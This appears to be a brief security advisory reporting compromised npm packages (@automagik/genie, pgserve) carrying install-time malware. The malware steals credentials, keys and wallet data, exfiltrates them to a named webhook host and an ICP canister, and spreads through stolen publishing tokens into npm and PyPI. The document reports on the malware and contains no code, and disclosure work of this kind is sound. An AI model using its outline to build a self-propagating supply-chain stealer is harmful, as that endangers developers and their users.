Malicious npm packages associated with Namastex.ai were compromised with malware exhibiting tradecraft similar to TeamPCP's CanisterWorm campaign. The attack targeted packages including @automagik/genie and pgserve, implementing install-time execution that harvests credentials, environment variables, SSH keys, cloud credentials, browser data, and crypto-wallet artifacts. The payload exfiltrates stolen data to both a conventional webhook at telemetry.api-monitor.com and an Internet Computer Protocol canister endpoint. It incorporates self-propagation logic to compromise additional npm packages using stolen publishing tokens and includes cross-ecosystem spreading capabilities targeting PyPI. The malware uses hybrid encryption with RSA and AES-256-CBC for data exfiltration. Multiple package namespaces were affected, suggesting shared infrastructure or coordinated compromise across publisher accounts.